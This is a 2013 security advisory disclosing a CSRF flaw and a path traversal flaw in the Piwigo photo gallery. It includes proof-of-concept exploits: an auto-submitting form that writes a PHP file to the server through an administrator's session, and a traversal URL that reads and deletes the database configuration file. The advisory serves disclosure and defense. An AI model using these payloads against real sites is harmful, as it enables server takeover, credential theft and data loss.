Lucene search

K
htbridgeHigh-Tech BridgeHTB23144
HistoryFeb 06, 2013 - 12:00 a.m.

Multiple Vulnerabilities in Piwigo

2013-02-0600:00:00
High-Tech Bridge
www.htbridge.com
22

7.6 High

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:H/Au:N/C:C/I:C/A:C

0.892 High

EPSS

Percentile

98.4%

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Piwigo, which can be exploited to perform Сross-Site Request Forgery and Path Traversal attacks.

  1. Сross-Site Request Forgery (CSRF) in Piwigo: CVE-2013-1468
    The vulnerability exists due to insufficient verification of the HTTP request origin in “/admin.php” script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create arbitrary PHP file on the remote server.
    The following PoC (Proof of Concept) code creates a file “file.php” containing “phpinfo();”, which can be later accessed via the http://[host]/file.php URL:
    <form action=“http://[host]/admin.php?page=plugin-LocalFilesEditor” method=“post” name=“f1”>
    <input type=“hidden” name=‘edited_file’ value=‘file.php’>
    <input type=“hidden” name=‘text’ value=’ phpinfo(); '>
    <input type=“hidden” name=‘submit’ value=‘1’>
    <input type=“submit” id=“btn”>
    </form>
    <script>
    document.f1.submit();
    </script>
    Successful exploitation requires that the “LocalFiles Editor” plugin is enabled (disabled by default).

  2. Path Traversal in Piwigo: CVE-2013-1469
    The vulnerability exists due to insufficient filtration of user-supplied input in “dl” HTTP GET parameter passed to “/install.php” script. The script is present on the system after installation by default, and can be accessed by attacker without any restrictions. The vulnerable code is:
    if (!empty($GET[‘dl’]) && file_exists(PHPWG_ROOT_PATH.$conf[‘data_location’].'pwg’.$GET[‘dl’]))
    {
    $filename = PHPWG_ROOT_PATH.$conf[‘data_location’].'pwg
    ’.$GET[‘dl’];

    echo file_get_contents($filename);

    }
    However, the vulnerability may be exploited only if PHP ‘file_exists’ function returns ‘true’ both for “C:/boot.ini” (or any existing file) and for “C:/any_non_existing_directory/…/boot.ini” (in our case the non-existing directory in path is "/pwg
    /"). This works in default PHP installation on Windows platform (tested on Windows 7, PHP 5.3.x). In case of successful exploitation remote attacker can read content of arbitrary files on the vulnerable system.
    Important: after being read the file is deleted (if web server has write permission to it).

The following PoC (Proof of Concept) code will display and delete the application’s configuration file:
http://piwigo/install.php?dl=/../../local/config/database.inc.php

CPENameOperatorVersion
piwigole2.4.6

7.6 High

CVSS2

Access Vector

NETWORK

Access Complexity

HIGH

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:H/Au:N/C:C/I:C/A:C

0.892 High

EPSS

Percentile

98.4%